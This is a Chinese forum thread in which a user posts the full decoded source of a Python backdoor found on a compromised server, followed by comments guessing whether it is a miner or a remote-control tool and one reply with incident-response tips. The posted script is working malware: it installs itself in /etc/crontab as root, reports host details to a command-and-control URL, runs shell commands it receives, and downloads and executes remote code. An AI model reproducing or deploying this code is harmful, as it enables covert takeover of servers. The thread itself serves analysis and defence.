朋友服务器被黑了(真开心)...上去发现有个 python 后门在跑,base64 一下拿到脚本;不太懂 python,准备重装了,大佬们有喜欢搞得可以看看
base64 后代码
#coding=utf-8
import sys
reload(sys)
sys.setdefaultencoding("utf-8")
import urllib
import socket
socket.setdefaulttimeout(5)
import subprocess
import threading
import time
import base64
import os
try:
import uuid
import platform
except Exception,e:
pass
apiURL = "http://k.zsw8.cc/Api/"
runCodePath = '/bin/httpsd'
tmpPid= "/tmp/VWTFEdbwdaEjduiWar3adW"
runCode = '''
#coding: utf-8
import urllib
import base64
while True:
try:
page=base64.b64decode(urllib.urlopen("%s").read())
exec(page)
except:
pass
time.sleep(1800)
'''% (apiURL)
class CommonWay(object):
CommonResult = []
def __init__(self):pass
def start(self):
try:
base64RunCode = base64.b64encode(runCode)
f = open(runCodePath, "w+")
f.write("python -c \"import base64;exec(base64.b64decode('%s'))\"" % base64RunCode)
f.close()
os.chmod(runCodePath, 0777)
f = open("/etc/crontab", "r")
crontabData = f.read()
f.close()
if runCodePath not in crontabData:
f = open("/etc/crontab", "a+")
f.write("\n0 */6 * * * root %s\n" % runCodePath)
f.close()
except Exception, e:
pass
def kill(self):
try:
try:
f = open(tmpPid, 'r')
pid = int(f.read())
f.close()
#os.system("kill -9 %d" % pid)
os.kill(pid, 9)
except Exception, e:
pass
pid = os.getpid()
f = open(tmpPid, 'w+')
f.write(str(pid))
f.close()
except Exception, e:
pass
def result(self, task_id, result):
try:
CommonWay.CommonResult.append({"id": task_id, "result": base64.b64encode(result)})
#print CommonWay.CommonResult
for my_data in CommonWay.CommonResult:
f = urllib.urlopen(apiURL, urllib.urlencode(my_data))
if f.getcode() == 200:
CommonWay.CommonResult.remove(my_data)
f.close()
#print CommonWay.CommonResult
except Exception, e:
pass
class CommonData(object):
def __init__(self): pass
@property
def get_key(self):
hostname = ""
mac = ""
try:
hostname = base64.b64encode(socket.getfqdn(socket.gethostname()).strip()[:20])
mac = uuid.UUID(int = uuid.getnode()).hex[-12:]
except Exception, e:
pass
return hostname+":"+mac
@property
def get_name(self):
try:
return base64.b64encode(socket.getfqdn(socket.gethostname()).strip()[:20])
except Exception, e:
return "null"
def __readCpuInfo(self):
f = open('/proc/stat')
lines = f.readlines()
f.close()
for line in lines:
line = line.lstrip()
counters = line.split()
if len(counters) < 5:
continue
if counters[0].startswith('cpu'):
break
total = 0
for i in xrange(1, len(counters)):
total = total + long(counters[i])
idle = long(counters[4])
return {'total': total, 'idle': idle}
def __calcCpuUsage(self, counters1, counters2):
idle = counters2['idle'] - counters1['idle']
total = counters2['total'] - counters1['total']
return 100 - (idle * 100 / total)
@property
def get_cpuuse(self):
try:
counters1 = self.__readCpuInfo()
time.sleep(3)
counters2 = self.__readCpuInfo()
return str(self.__calcCpuUsage(counters1, counters2))+"%"
except Exception, e:
return "null"
@property
def get_cpucount(self):
try:
cpu_count = 0
f = open("/proc/cpuinfo")
lines = f.readlines()
f.close()
for line in lines:
if ':' in line:
lineList = line.split(":", 2)
if lineList[0].strip() == "cpu cores":
cpu_count = int(lineList[1].strip())
break
return cpu_count
except Exception, e:
return 0
@property
def get_core(self):
try:
return platform.architecture()[0]
except Exception, e:
return "null"
@property
def get_platform(self):
try:
import platform
return platform.system()
except Exception, e:
return "null"
@property
def get_status(self):
try:
return "None"
except Exception, e:
return "None"
class CmdExec(object):
def __init__(self, cmd, task_id):
self.task_cmd = cmd
self.task_id = task_id
self.run()
def run(self):
t = threading.Thread(target=self.exec_cmd)
t.setDaemon(True)
t.start()
def exec_cmd(self):
try:
mytask = subprocess.Popen(self.task_cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
myCmdResult = mytask.stdout.read()
#print self.task_id, myCmdResult
#print myCmdResult, self.task_id
c = CommonWay()
c.result(self.task_id, myCmdResult)
except Exception, e:
pass
class DownExec(object):
def __init__(self, downloadurl, taskid):
self.downloadurl = downloadurl
self.taskid = taskid
self.run()
def run(self):
t = threading.Thread(target=self.download)
t.setDaemon(True)
t.start()
def schedule(self, a, b, c):
# a: block count
# b: block size
# c: file size
per = 100.0 * a * b / c
if per > 100: per = 100
#print '%.2f%%' % per
def download(self):
try:
f = urllib.urlretrieve(self.downloadurl, filename=None, reporthook=self.schedule, data=None)
try:
os.chmod(f[0], 0777)
except:
pass
mytask = subprocess.Popen(f[0], shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
myresult = mytask.stdout.read()
# update result
# print myresult, self.taskid
c = CommonWay()
c.result(self.taskid, myresult)
except Exception, e:
pass
def __del__(self):
urllib.urlcleanup()
class Client(object):
def __init__(self):
self.r_time = 30
self.runMain()
def get_task(self):
try:
code = 0
html = ""
d = CommonData()
my_data = {"key": d.get_key}
f = urllib.urlopen(apiURL, urllib.urlencode(my_data))
code = f.getcode()
html = f.read()
f.close()
data = eval(html)
if data.has_key("id") and data["id"]:
task_id = data["id"]
if data.has_key("download") and data["download"]:
DownExec(data["download"], task_id)
if data.has_key("cmd") and data["cmd"]:
CmdExec(data["cmd"], task_id)
else:
self.r_time = int(data["rtime"])
except Exception, e:
return False
def up_online(self):
try:
code = 0
html = ""
d = CommonData()
my_data = {"key":d.get_key, "name":d.get_name, "os":d.get_platform, "core":d.get_core, "cpu":d.get_cpucount, "cpuuse":d.get_cpuuse, "status":d.get_status}
f = urllib.urlopen(apiURL, urllib.urlencode(my_data))
code = f.getcode()
#html = f.read()
f.close()
if code == 200:
return True
else:
return False
except Exception, e:
return False
def runMain(self):
try:
commonWay = CommonWay()
commonWay.start()
commonWay.kill()
while True:
if not self.up_online():
time.sleep(60)
continue
self.get_task()
time.sleep(self.r_time)
except Exception, e:
pass
if __name__ == "__main__":
c = Client()
1
gleymonkey 2018-01-16 18:25:34 +08:00
一看这网址就知道是挖矿的。
|
2
mritd OP @gleymonkey cpu 百分百,绝壁挖矿,哈哈
|
3
trys1 2018-01-16 18:46:38 +08:00 via Android
比较好奇你怎么被黑的,弱口令?
以及以后该如何预防 |
4
huangunic0rn 2018-01-16 18:50:22 +08:00 via Android
反弹 shell?有大佬解释一下嘛
|
6
closedevice 2018-01-16 18:51:34 +08:00
写的一般,挖矿脚本
|
10
kokutou 2018-01-16 19:06:55 +08:00 1
感觉只要开了 22,开机不出 5 分钟就有个登陆失败 log。。。
|
14
t333st 2018-01-17 10:49:12 +08:00
该脚本没看出挖矿相关,就是一个远控相关脚本
|
15
jeffson 2018-01-17 15:30:29 +08:00
关注!
|
16
findex 2018-04-14 03:06:38 +08:00
看了一下。是用挖矿的脚本。简单说说,数了数 cpu 等情况,开了多线程、自动下载 blocks 还有 size 校对,远程挖矿。而且是客户端,需要远程服务器分配任务来挖指定的片区。没看明白脚本的同学,经验还是不够。meltdown 之后变异漏洞太多。我看过不少的了。又用 perl 写的,有用 python 写的,伪装成各种文件。基本上就是这两种发行版会自带的语言解释器。先提权,再运行肉鸡代码。遇到这种情况,打补丁晚了。看看核心数据有没有被盗吧。sshd_config 有没有被改,有没有增加一个新的类似于 dropbear 的轻量 ssh 客户端在运行,或者其他后门程序。cron 被修改了没,是否加入了 authenticate_key。是否修改 /添加了其他用户。看看系统 log。看看 history (我见过有 cracker 写过 wipe log 的程序,可是入侵的时候忘记运行了,留下了马尾,是团伙作案,分工明确,但是还是有菜鸟去操作的)。这样可以把 cracker 找出来。但是 cracker 的 ip 有一定的匿名性,不过有些胆大的就不用 daili IP。业务价值含量高的话,分配点人力物力去追出来。不太重要的话,就随意了。这样搞的,欧洲居多,东欧最多。美中也不少。
|